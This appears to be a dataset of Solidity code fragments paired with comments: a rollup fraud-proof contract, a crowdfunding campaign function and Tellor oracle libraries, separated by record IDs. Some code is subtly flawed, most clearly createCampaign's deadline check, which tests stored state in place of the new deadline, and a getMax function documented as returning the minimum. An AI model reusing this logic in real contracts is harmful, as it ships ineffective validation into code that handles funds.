uint NEW_ACCOUNT_TRANSFER_TYPE = 0;
uint STORED_ACCOUNT_TRANSFER_TYPE = 1;
uint SWAP_TYPE = 2;
// State tree height
uint STATE_TREE_HEIGHT = 32;
// TODO: eventually support multiple?
address aggregatorAddress;
/* Events */
event DecodedTransition(
bool success,
bytes returnData
);
event NewRollupBlock(
bytes[] block,
uint256 blockNumber
);
/***************
* Constructor *
**************/
constructor(address _transitionEvaluatorAddress, address _rollupMerkleUtilsAddress, address _aggregatorAddress) public {
transitionEvaluator = TransitionEvaluator(_transitionEvaluatorAddress);
merkleUtils = RollupMerkleUtils(_rollupMerkleUtilsAddress);
aggregatorAddress = _aggregatorAddress;
}
/* Methods */
function pruneBlocksAfter(uint blockNumber) internal {
for (uint i = blockNumber; i < blocks.length; i++) {
delete blocks[i];
}
}
/**
* Submits a new block which is then rolled up.
*/
function submitBlock(bytes[] calldata _block) external returns(bytes32) {
require(
msg.sender == aggregatorAddress,
"Only the aggregator may submit blocks"
);
bytes32 root = merkleUtils.getMerkleRoot(_block);
dt.Block memory rollupBlock = dt.Block({
rootHash: root,
blockSize: _block.length
});
blocks.push(rollupBlock);
// NOTE: Toggle the event if you'd like easier historical block queries
emit NewRollupBlock(_block, blocks.length);
return root;
}
/**********************
* Proving Invalidity *
*********************/
/**
* Verify inclusion of the claimed includedStorageSlot & store their results.
* Note the complexity here is we need to store an empty storage slot as being 32 bytes of zeros
* to be what the sparse merkle tree expects.
*/
function verifyAndStoreStorageSlotInclusionProof(dt.IncludedStorageSlot memory _includedStorageSlot) private {
bytes memory storageBytes = getStorageBytes(_includedStorageSlot.storageSlot.value);
merkleUtils.verifyAndStore(
storageBytes,
uint(_includedStorageSlot.storageSlot.slotIndex),
_includedStorageSlot.siblings
);
}
function getStateRootsAndStorageSlots(
bytes memory _preStateTransition,
bytes memory _invalidTransition
) public returns(bool, bytes32, bytes32, uint32[2] memory) {
bool success;
bytes memory returnData;
bytes32 preStateRoot;
bytes32 postStateRoot;
uint32[2] memory preStateStorageSlots;
uint32[2] memory storageSlots;
// First decode the prestate root
(success, returnData) =
address(transitionEvaluator).call(
abi.encodeWithSelector(transitionEvaluator.getTransitionStateRootAndAccessList.selector, _preStateTransition)
);
// Emit the output as an event
emit DecodedTransition(success, returnData);
// Make sure the call was successful
require(success, "If the preStateRoot is invalid, then prove that invalid instead!");
(preStateRoot, preStateStorageSlots) = abi.decode((returnData), (bytes32, uint32[2]));
// Now that we have the prestateRoot, let's decode the postState
(success, returnData) =
address(transitionEvaluator).call(
abi.encodeWithSelector(transitionEvaluator.getTransitionStateRootAndAccessList.selector, _invalidTransition)
);
// Emit the output as an event
emit DecodedTransition(success, returnData);
// If the call was successful let's decode!
if (success) {
(postStateRoot, storageSlots) = abi.decode((returnData), (bytes32, uint32[2]));
}
return (success, preStateRoot, postStateRoot, storageSlots);
}
/**
* Checks if a transition is invalid and if it is prunes that block and it's children from the chain
* the chain.
*/
function proveTransitionInvalid(
dt.IncludedTransition memory _preStateIncludedTransition,
dt.IncludedTransition memory _invalidIncludedTransition,
dt.IncludedStorageSlot[2] memory _transitionStorageSlots
) public {
// For convenience store the transitions
bytes memory preStateTransition = _preStateIncludedTransition.transition;
bytes memory invalidTransition = _invalidIncludedTransition.transition;
/********* #1: CHECK_SEQUENTIAL_TRANSITIONS *********/
// First verify that the transitions are sequential
verifySequentialTransitions(_preStateIncludedTransition, _invalidIncludedTransition);
/********* #2: DECODE_TRANSITIONS *********/
// Decode our transitions and determine which storage slots we'll need in order to validate the transition
(
bool success,
bytes32 preStateRoot,
bytes32 postStateRoot,
uint32[2] memory storageSlotIndexes
) = getStateRootsAndStorageSlots(preStateTransition, invalidTransition);
// If not success something went wrong with the decoding...
if (!success) {
// Prune the block if it has an incorrectly encoded transition!
pruneBlocksAfter(_invalidIncludedTransition.inclusionProof.blockNumber);
return;
}
/********* #3: VERIFY_TRANSITION_STORAGE_SLOTS *********/
// Make sure the storage slots we were given are correct
require(_transitionStorageSlots[0].storageSlot.slotIndex == storageSlotIndexes[0], "First supplied storage slot index is incorrect!");
require(_transitionStorageSlots[1].storageSlot.slotIndex == storageSlotIndexes[1], "Second supplied storage slot index is incorrect!");
/********* #4: STORE_STORAGE_INCLUSION_PROOFS *********/
// Now verify and store the storage inclusion proofs
merkleUtils.setMerkleRootAndHeight(preStateRoot, STATE_TREE_HEIGHT);
for (uint i = 0; i < _transitionStorageSlots.length; i++) {
verifyAndStoreStorageSlotInclusionProof(_transitionStorageSlots[i]);
}
/********* #5: EVALUATE_TRANSITION *********/
// Now that we've verified and stored our storage in the state tree, lets apply the transaction
// To do this first let's pull out the two storage slots we care about
dt.StorageSlot[2] memory storageSlots;
storageSlots[0] = _transitionStorageSlots[0].storageSlot;
storageSlots[1] = _transitionStorageSlots[1].storageSlot;
bytes memory returnData;
// Make the external call
(success, returnData) =
address(transitionEvaluator).call(
abi.encodeWithSelector(transitionEvaluator.evaluateTransition.selector, invalidTransition, storageSlots)
);
// Check if it was successful. If not, we've got to prune.
if (!success) {
pruneBlocksAfter(_invalidIncludedTransition.inclusionProof.blockNumber);
return;
}
// It was successful so let's decode the outputs to get the new leaf nodes we'll have to insert
(bytes32[2] memory outputs) = abi.decode((returnData), (bytes32[2]));
/********* #6: UPDATE_STATE_ROOT *********/
// Now we need to check if the state root is incorrect, to do this we first insert the new leaf values
for (uint i = 0; i < _transitionStorageSlots.length; i++) {
merkleUtils.updateLeaf(outputs[i], _transitionStorageSlots[i].storageSlot.slotIndex);
}
/********* #7: COMPARE_STATE_ROOTS *********/
// Check if the calculated state root equals what we expect
if (postStateRoot != merkleUtils.getRoot()) {
// Prune the block because we found an invalid post state root! Cryptoeconomic validity ftw!
pruneBlocksAfter(_invalidIncludedTransition.inclusionProof.blockNumber);
return;
}
// Woah! Looks like there's no fraud!
revert("No fraud detected!");
}
/**
* Verifies that two transitions were included one after another.
* This is used to make sure we are comparing the correct
* prestate & poststate.
*/
function verifySequentialTransitions(
dt.IncludedTransition memory _transition0,
dt.IncludedTransition memory _transition1
) public returns(bool) {
// Verify inclusion
require(checkTransitionInclusion(_transition0), 'The first transition must be included!');
require(checkTransitionInclusion(_transition1), 'The second transition must be included!');
// Verify that the two transitions are one after another
// Start by checking if they are in the same block
if (_transition0.inclusionProof.blockNumber == _transition1.inclusionProof.blockNumber) {
// If the blocknumber is the same, simply check that transition0 preceeds transition1
require(_transition0.inclusionProof.transitionIndex == _transition1.inclusionProof.transitionIndex - 1, 'Transitions must be sequential!');
// Hurray! The transition is valid!
return true;
}
// If not in the same block, we check that:
// 0) the blocks are one after another
require(_transition0.inclusionProof.blockNumber == _transition1.inclusionProof.blockNumber - 1, 'Blocks must be one after another or equal.');
// 1) the transitionIndex of transition0 is the last in the block; and
require(_transition0.inclusionProof.transitionIndex == blocks[_transition0.inclusionProof.blockNumber].blockSize - 1, '_transition0 must be last in its block.');
// 2) the transitionIndex of transition1 is the first in the block
require(_transition1.inclusionProof.transitionIndex == 0, '_transition0 must be first in its block.');
// Success!
return true;
}
/**
* Check to see if a transition was indeed included.
*/
function checkTransitionInclusion(dt.IncludedTransition memory _includedTransition) public view returns(bool) {
bytes32 rootHash = blocks[_includedTransition.inclusionProof.blockNumber].rootHash;
bool isIncluded = merkleUtils.verify(
rootHash,
_includedTransition.transition,
_includedTransition.inclusionProof.transitionIndex,
_includedTransition.inclusionProof.siblings
);
return isIncluded;
}
/**
* Get the hash of the transition.
*/
function getTransitionHash(bytes memory _transition) public pure returns(bytes32) {
return keccak256(_transition);
}
/**
* Get the bytes value for this storage.
*/
function getStorageBytes(dt.Storage memory _storage) public view returns(bytes memory) {
// If it's an empty storage slot, return 32 bytes of zeros (empty value)
if (_storage.pubkey == 0x0000000000000000000000000000000000000000 &&
_storage.balances[0] == 0 &&
_storage.balances[1] == 0
) {
return abi.encodePacked(uint(0));
}
// Here we don't use `abi.encode([struct])` because it's not clear
// how to generate that encoding client-side.
return abi.encode(_storage.pubkey, _storage.balances[0], _storage.balances[1]);
}
}
|
First decode the prestate root Emit the output as an event Make sure the call was successful Now that we have the prestateRoot, let's decode the postState Emit the output as an event If the call was successful let's decode!
|
function getStateRootsAndStorageSlots(
bytes memory _preStateTransition,
bytes memory _invalidTransition
) public returns(bool, bytes32, bytes32, uint32[2] memory) {
bool success;
bytes memory returnData;
bytes32 preStateRoot;
bytes32 postStateRoot;
uint32[2] memory preStateStorageSlots;
uint32[2] memory storageSlots;
(success, returnData) =
address(transitionEvaluator).call(
abi.encodeWithSelector(transitionEvaluator.getTransitionStateRootAndAccessList.selector, _preStateTransition)
);
emit DecodedTransition(success, returnData);
require(success, "If the preStateRoot is invalid, then prove that invalid instead!");
(preStateRoot, preStateStorageSlots) = abi.decode((returnData), (bytes32, uint32[2]));
(success, returnData) =
address(transitionEvaluator).call(
abi.encodeWithSelector(transitionEvaluator.getTransitionStateRootAndAccessList.selector, _invalidTransition)
);
emit DecodedTransition(success, returnData);
if (success) {
(postStateRoot, storageSlots) = abi.decode((returnData), (bytes32, uint32[2]));
}
return (success, preStateRoot, postStateRoot, storageSlots);
}
| 1,760,323
|
./full_match/11155111/0xDA4fe8befB9F68A4e10F9Df3b3a9d9e9B778E279/sources/contracts/CrowdFunding.sol
|
if pass require, this code go furture
|
function createCampaign(address _owner, string memory _title, string memory _description, uint256 _target,
uint256 _deadline, string memory _image) public returns (uint256) {
Campaign storage campaign = campaigns[numberOfCampaigns];
require(campaign.deadline < block.timestamp, 'The deadline should be in future');
campaign.owner = _owner;
campaign.title = _title;
campaign.description = _description;
campaign.target = _target;
campaign.deadline = _deadline;
campaign.amountCollected = 0;
campaign.image = _image;
numberOfCampaigns++;
return numberOfCampaigns - 1;
}
| 3,803,181
|
pragma solidity ^0.5.0;
//Functions for retrieving min and Max in 51 length array (requestQ)
//Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol
library Utilities{
/**
* @dev Returns the minimum value in an array.
*/
function getMax(uint[51] memory data) internal pure returns(uint256 max,uint256 maxIndex) {
max = data[1];
maxIndex;
for(uint i=1;i < data.length;i++){
if(data[i] > max){
max = data[i];
maxIndex = i;
}
}
}
/**
* @dev Returns the minimum value in an array.
*/
function getMin(uint[51] memory data) internal pure returns(uint256 min,uint256 minIndex) {
minIndex = data.length - 1;
min = data[minIndex];
for(uint i = data.length-1;i > 0;i--) {
if(data[i] < min) {
min = data[i];
minIndex = i;
}
}
}
// /// @dev Returns the minimum value and position in an array.
// //@note IT IGNORES THE 0 INDEX
// function getMin(uint[51] memory arr) internal pure returns (uint256 min, uint256 minIndex) {
// assembly {
// minIndex := 50
// min := mload(add(arr, mul(minIndex , 0x20)))
// for {let i := 49 } gt(i,0) { i := sub(i, 1) } {
// let item := mload(add(arr, mul(i, 0x20)))
// if lt(item,min){
// min := item
// minIndex := i
// }
// }
// }
// }
// function getMax(uint256[51] memory arr) internal pure returns (uint256 max, uint256 maxIndex) {
// assembly {
// for { let i := 0 } lt(i,51) { i := add(i, 1) } {
// let item := mload(add(arr, mul(i, 0x20)))
// if lt(max, item) {
// max := item
// maxIndex := i
// }
// }
// }
// }
}
/**
* @title Tellor Getters Library
* @dev This is the getter library for all variables in the Tellor Tributes system. TellorGetters references this
* libary for the getters logic
*/
library TellorGettersLibrary{
using SafeMath for uint256;
event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true
/*Functions*/
//The next two functions are onlyOwner functions. For Tellor to be truly decentralized, we will need to transfer the Deity to the 0 address.
//Only needs to be in library
/**
* @dev This function allows us to set a new Deity (or remove it)
* @param _newDeity address of the new Deity of the tellor system
*/
function changeDeity(TellorStorage.TellorStorageStruct storage self, address _newDeity) internal{
require(self.addressVars[keccak256("_deity")] == msg.sender);
self.addressVars[keccak256("_deity")] =_newDeity;
}
//Only needs to be in library
/**
* @dev This function allows the deity to upgrade the Tellor System
* @param _tellorContract address of new updated TellorCore contract
*/
function changeTellorContract(TellorStorage.TellorStorageStruct storage self,address _tellorContract) internal{
require(self.addressVars[keccak256("_deity")] == msg.sender);
self.addressVars[keccak256("tellorContract")]= _tellorContract;
emit NewTellorAddress(_tellorContract);
}
/*Tellor Getters*/
/**
* @dev This function tells you if a given challenge has been completed by a given miner
* @param _challenge the challenge to search for
* @param _miner address that you want to know if they solved the challenge
* @return true if the _miner address provided solved the
*/
function didMine(TellorStorage.TellorStorageStruct storage self, bytes32 _challenge,address _miner) internal view returns(bool){
return self.minersByChallenge[_challenge][_miner];
}
/**
* @dev Checks if an address voted in a dispute
* @param _disputeId to look up
* @param _address of voting party to look up
* @return bool of whether or not party voted
*/
function didVote(TellorStorage.TellorStorageStruct storage self,uint _disputeId, address _address) internal view returns(bool){
return self.disputesById[_disputeId].voted[_address];
}
/**
* @dev allows Tellor to read data from the addressVars mapping
* @param _data is the keccak256("variable_name") of the variable that is being accessed.
* These are examples of how the variables are saved within other functions:
* addressVars[keccak256("_owner")]
* addressVars[keccak256("tellorContract")]
*/
function getAddressVars(TellorStorage.TellorStorageStruct storage self, bytes32 _data) view internal returns(address){
return self.addressVars[_data];
}
/**
* @dev Gets all dispute variables
* @param _disputeId to look up
* @return bytes32 hash of dispute
* @return bool executed where true if it has been voted on
* @return bool disputeVotePassed
* @return bool isPropFork true if the dispute is a proposed fork
* @return address of reportedMiner
* @return address of reportingParty
* @return address of proposedForkAddress
* @return uint of requestId
* @return uint of timestamp
* @return uint of value
* @return uint of minExecutionDate
* @return uint of numberOfVotes
* @return uint of blocknumber
* @return uint of minerSlot
* @return uint of quorum
* @return uint of fee
* @return int count of the current tally
*/
function getAllDisputeVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId) internal view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){
TellorStorage.Dispute storage disp = self.disputesById[_disputeId];
return(disp.hash,disp.executed, disp.disputeVotePassed, disp.isPropFork, disp.reportedMiner, disp.reportingParty,disp.proposedForkAddress,[disp.disputeUintVars[keccak256("requestId")], disp.disputeUintVars[keccak256("timestamp")], disp.disputeUintVars[keccak256("value")], disp.disputeUintVars[keccak256("minExecutionDate")], disp.disputeUintVars[keccak256("numberOfVotes")], disp.disputeUintVars[keccak256("blockNumber")], disp.disputeUintVars[keccak256("minerSlot")], disp.disputeUintVars[keccak256("quorum")],disp.disputeUintVars[keccak256("fee")]],disp.tally);
}
/**
* @dev Getter function for variables for the requestId being currently mined(currentRequestId)
* @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request
*/
function getCurrentVariables(TellorStorage.TellorStorageStruct storage self) internal view returns(bytes32, uint, uint,string memory,uint,uint){
return (self.currentChallenge,self.uintVars[keccak256("currentRequestId")],self.uintVars[keccak256("difficulty")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].queryString,self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("granularity")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("totalTip")]);
}
/**
* @dev Checks if a given hash of miner,requestId has been disputed
* @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId));
* @return uint disputeId
*/
function getDisputeIdByDisputeHash(TellorStorage.TellorStorageStruct storage self,bytes32 _hash) internal view returns(uint){
return self.disputeIdByDisputeHash[_hash];
}
/**
* @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId
* @param _disputeId is the dispute id;
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the disputeUintVars under the Dispute struct
* @return uint value for the bytes32 data submitted
*/
function getDisputeUintVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId,bytes32 _data) internal view returns(uint){
return self.disputesById[_disputeId].disputeUintVars[_data];
}
/**
* @dev Gets the a value for the latest timestamp available
* @return value for timestamp of last proof of work submited
* @return true if the is a timestamp for the lastNewValue
*/
function getLastNewValue(TellorStorage.TellorStorageStruct storage self) internal view returns(uint,bool){
return (retrieveData(self,self.requestIdByTimestamp[self.uintVars[keccak256("timeOfLastNewValue")]], self.uintVars[keccak256("timeOfLastNewValue")]),true);
}
/**
* @dev Gets the a value for the latest timestamp available
* @param _requestId being requested
* @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't
*/
function getLastNewValueById(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(uint,bool){
TellorStorage.Request storage _request = self.requestDetails[_requestId];
if(_request.requestTimestamps.length > 0){
return (retrieveData(self,_requestId,_request.requestTimestamps[_request.requestTimestamps.length - 1]),true);
}
else{
return (0,false);
}
}
/**
* @dev Gets blocknumber for mined timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up blocknumber
* @return uint of the blocknumber which the dispute was mined
*/
function getMinedBlockNum(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp) internal view returns(uint){
return self.requestDetails[_requestId].minedBlockNum[_timestamp];
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return the 5 miners' addresses
*/
function getMinersByRequestIdAndTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(address[5] memory){
return self.requestDetails[_requestId].minersByValue[_timestamp];
}
/**
* @dev Get the name of the token
* @return string of the token name
*/
function getName(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){
return "Tellor Tributes";
}
/**
* @dev Counts the number of values that have been submited for the request
* if called for the currentRequest being mined it can tell you how many miners have submitted a value for that
* request so far
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(TellorStorage.TellorStorageStruct storage self, uint _requestId) internal view returns(uint){
return self.requestDetails[_requestId].requestTimestamps.length;
}
/**
* @dev Getter function for the specified requestQ index
* @param _index to look up in the requestQ array
* @return uint of reqeuestId
*/
function getRequestIdByRequestQIndex(TellorStorage.TellorStorageStruct storage self, uint _index) internal view returns(uint){
require(_index <= 50);
return self.requestIdByRequestQIndex[_index];
}
/**
* @dev Getter function for requestId based on timestamp
* @param _timestamp to check requestId
* @return uint of reqeuestId
*/
function getRequestIdByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _timestamp) internal view returns(uint){
return self.requestIdByTimestamp[_timestamp];
}
/**
* @dev Getter function for requestId based on the qeuaryHash
* @param _queryHash hash(of string api and granularity) to check if a request already exists
* @return uint requestId
*/
function getRequestIdByQueryHash(TellorStorage.TellorStorageStruct storage self, bytes32 _queryHash) internal view returns(uint){
return self.requestIdByQueryHash[_queryHash];
}
/**
* @dev Getter function for the requestQ array
* @return the requestQ arrray
*/
function getRequestQ(TellorStorage.TellorStorageStruct storage self) view internal returns(uint[51] memory){
return self.requestQ;
}
/**
* @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct
* for the requestId specified
* @param _requestId to look up
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the apiUintVars under the requestDetails struct
* @return uint value of the apiUintVars specified in _data for the requestId specified
*/
function getRequestUintVars(TellorStorage.TellorStorageStruct storage self,uint _requestId,bytes32 _data) internal view returns(uint){
return self.requestDetails[_requestId].apiUintVars[_data];
}
/**
* @dev Gets the API struct variables that are not mappings
* @param _requestId to look up
* @return string of api to query
* @return string of symbol of api to query
* @return bytes32 hash of string
* @return bytes32 of the granularity(decimal places) requested
* @return uint of index in requestQ array
* @return uint of current payout/tip for this requestId
*/
function getRequestVars(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(string memory,string memory, bytes32,uint, uint, uint) {
TellorStorage.Request storage _request = self.requestDetails[_requestId];
return (_request.queryString,_request.dataSymbol,_request.queryHash, _request.apiUintVars[keccak256("granularity")],_request.apiUintVars[keccak256("requestQPosition")],_request.apiUintVars[keccak256("totalTip")]);
}
/**
* @dev This function allows users to retireve all information about a staker
* @param _staker address of staker inquiring about
* @return uint current state of staker
* @return uint startDate of staking
*/
function getStakerInfo(TellorStorage.TellorStorageStruct storage self,address _staker) internal view returns(uint,uint){
return (self.stakerDetails[_staker].currentStatus,self.stakerDetails[_staker].startDate);
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestampt to look up miners for
* @return address[5] array of 5 addresses ofminers that mined the requestId
*/
function getSubmissionsByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(uint[5] memory){
return self.requestDetails[_requestId].valuesByTimestamp[_timestamp];
}
/**
* @dev Get the symbol of the token
* @return string of the token symbol
*/
function getSymbol(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){
return "TT";
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestID is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(TellorStorage.TellorStorageStruct storage self,uint _requestID, uint _index) internal view returns(uint){
return self.requestDetails[_requestID].requestTimestamps[_index];
}
/**
* @dev Getter for the variables saved under the TellorStorageStruct uintVars variable
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the uintVars under the TellorStorageStruct struct
* This is an example of how data is saved into the mapping within other functions:
* self.uintVars[keccak256("stakerCount")]
* @return uint of specified variable
*/
function getUintVar(TellorStorage.TellorStorageStruct storage self,bytes32 _data) view internal returns(uint){
return self.uintVars[_data];
}
/**
* @dev Getter function for next requestId on queue/request with highest payout at time the function is called
* @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string
*/
function getVariablesOnDeck(TellorStorage.TellorStorageStruct storage self) internal view returns(uint, uint,string memory){
uint newRequestId = getTopRequestID(self);
return (newRequestId,self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")],self.requestDetails[newRequestId].queryString);
}
/**
* @dev Getter function for the request with highest payout. This function is used within the getVariablesOnDeck function
* @return uint _requestId of request with highest payout at the time the function is called
*/
function getTopRequestID(TellorStorage.TellorStorageStruct storage self) internal view returns(uint _requestId){
uint _max;
uint _index;
(_max,_index) = Utilities.getMax(self.requestQ);
_requestId = self.requestIdByRequestQIndex[_index];
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(bool){
return self.requestDetails[_requestId].inDispute[_timestamp];
}
/**
* @dev Retreive value from oracle based on requestId/timestamp
* @param _requestId being requested
* @param _timestamp to retreive data/value from
* @return uint value for requestId/timestamp submitted
*/
function retrieveData(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns (uint) {
return self.requestDetails[_requestId].finalValues[_timestamp];
}
/**
* @dev Getter for the total_supply of oracle tokens
* @return uint total supply
*/
function totalSupply(TellorStorage.TellorStorageStruct storage self) internal view returns (uint) {
return self.uintVars[keccak256("total_supply")];
}
}
pragma solidity ^0.5.0;
//Slightly modified SafeMath library - includes a min and max function, removes useless div function
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256 c) {
if(b > 0){
c = a + b;
assert(c >= a);
}
else{
c = a + b;
assert(c <= a);
}
}
function max(uint a, uint b) internal pure returns (uint256) {
return a > b ? a : b;
}
function max(int256 a, int256 b) internal pure returns (uint256) {
return a > b ? uint(a) : uint(b);
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(int256 a, int256 b) internal pure returns (int256 c) {
if(b > 0){
c = a - b;
assert(c <= a);
}
else{
c = a - b;
assert(c >= a);
}
}
}
/**
* @title Tellor Oracle Storage Library
* @dev Contains all the variables/structs used by Tellor
*/
library TellorStorage {
//Internal struct for use in proof-of-work submission
struct Details {
uint value;
address miner;
}
struct Dispute {
bytes32 hash;//unique hash of dispute: keccak256(_miner,_requestId,_timestamp)
int tally;//current tally of votes for - against measure
bool executed;//is the dispute settled
bool disputeVotePassed;//did the vote pass?
bool isPropFork; //true for fork proposal NEW
address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails
address reportingParty;//miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes
address proposedForkAddress;//new fork address (if fork proposal)
mapping(bytes32 => uint) disputeUintVars;
//Each of the variables below is saved in the mapping disputeUintVars for each disputeID
//e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")]
//These are the variables saved in this mapping:
// uint keccak256("requestId");//apiID of disputed value
// uint keccak256("timestamp");//timestamp of distputed value
// uint keccak256("value"); //the value being disputed
// uint keccak256("minExecutionDate");//7 days from when dispute initialized
// uint keccak256("numberOfVotes");//the number of parties who have voted on the measure
// uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from
// uint keccak256("minerSlot"); //index in dispute array
// uint keccak256("quorum"); //quorum for dispute vote NEW
// uint keccak256("fee"); //fee paid corresponding to dispute
mapping (address => bool) voted; //mapping of address to whether or not they voted
}
struct StakeInfo {
uint currentStatus;//0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute
uint startDate; //stake start date
}
//Internal struct to allow balances to be queried by blocknumber for voting purposes
struct Checkpoint {
uint128 fromBlock;// fromBlock is the block number that the value was generated from
uint128 value;// value is the amount of tokens at a specific block number
}
struct Request {
string queryString;//id to string api
string dataSymbol;//short name for api request
bytes32 queryHash;//hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity))
uint[] requestTimestamps; //array of all newValueTimestamps requested
mapping(bytes32 => uint) apiUintVars;
//Each of the variables below is saved in the mapping apiUintVars for each api request
//e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")]
//These are the variables saved in this mapping:
// uint keccak256("granularity"); //multiplier for miners
// uint keccak256("requestQPosition"); //index in requestQ
// uint keccak256("totalTip");//bonus portion of payout
mapping(uint => uint) minedBlockNum;//[apiId][minedTimestamp]=>block.number
mapping(uint => uint) finalValues;//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value
mapping(uint => bool) inDispute;//checks if API id is in dispute or finalized.
mapping(uint => address[5]) minersByValue;
mapping(uint => uint[5])valuesByTimestamp;
}
struct TellorStorageStruct {
bytes32 currentChallenge; //current challenge to be solved
uint[51] requestQ; //uint50 array of the top50 requests by payment amount
uint[] newValueTimestamps; //array of all timestamps requested
Details[5] currentMiners; //This struct is for organizing the five mined values to find the median
mapping(bytes32 => address) addressVars;
//Address fields in the Tellor contract are saved the addressVars mapping
//e.g. addressVars[keccak256("tellorContract")] = address
//These are the variables saved in this mapping:
// address keccak256("tellorContract");//Tellor address
// address keccak256("_owner");//Tellor Owner address
// address keccak256("_deity");//Tellor Owner that can do things at will
mapping(bytes32 => uint) uintVars;
//uint fields in the Tellor contract are saved the uintVars mapping
//e.g. uintVars[keccak256("decimals")] = uint
//These are the variables saved in this mapping:
// keccak256("decimals"); //18 decimal standard ERC20
// keccak256("disputeFee");//cost to dispute a mined value
// keccak256("disputeCount");//totalHistoricalDisputes
// keccak256("total_supply"); //total_supply of the token in circulation
// keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?)
// keccak256("stakerCount"); //number of parties currently staked
// keccak256("timeOfLastNewValue"); // time of last challenge solved
// keccak256("difficulty"); // Difficulty of current block
// keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool
// keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id
// keccak256("requestCount"); // total number of requests through the system
// keccak256("slotProgress");//Number of miners who have mined this value so far
// keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value
// keccak256("timeTarget"); //The time between blocks (mined Oracle values)
mapping(bytes32 => mapping(address=>bool)) minersByChallenge;//This is a boolean that tells you if a given challenge has been completed by a given miner
mapping(uint => uint) requestIdByTimestamp;//minedTimestamp to apiId
mapping(uint => uint) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId
mapping(uint => Dispute) disputesById;//disputeId=> Dispute details
mapping (address => Checkpoint[]) balances; //balances of a party given blocks
mapping(address => mapping (address => uint)) allowed; //allowance for a given party and approver
mapping(address => StakeInfo) stakerDetails;//mapping from a persons address to their staking info
mapping(uint => Request) requestDetails;//mapping of apiID to details
mapping(bytes32 => uint) requestIdByQueryHash;// api bytes32 gets an id = to count of requests array
mapping(bytes32 => uint) disputeIdByDisputeHash;//maps a hash to an ID for each dispute
}
}
/**
* @title Tellor Transfer
* @dev Contais the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol
* reference this library for function's logic.
*/
library TellorTransfer {
using SafeMath for uint256;
event Approval(address indexed _owner, address indexed _spender, uint256 _value);//ERC20 Approval event
event Transfer(address indexed _from, address indexed _to, uint256 _value);//ERC20 Transfer Event
/*Functions*/
/**
* @dev Allows for a transfer of tokens to _to
* @param _to The address to send tokens to
* @param _amount The amount of tokens to send
* @return true if transfer is successful
*/
function transfer(TellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) {
doTransfer(self,msg.sender, _to, _amount);
return true;
}
/**
* @notice Send _amount tokens to _to from _from on the condition it
* is approved by _from
* @param _from The address holding the tokens being transferred
* @param _to The address of the recipient
* @param _amount The amount of tokens to be transferred
* @return True if the transfer was successful
*/
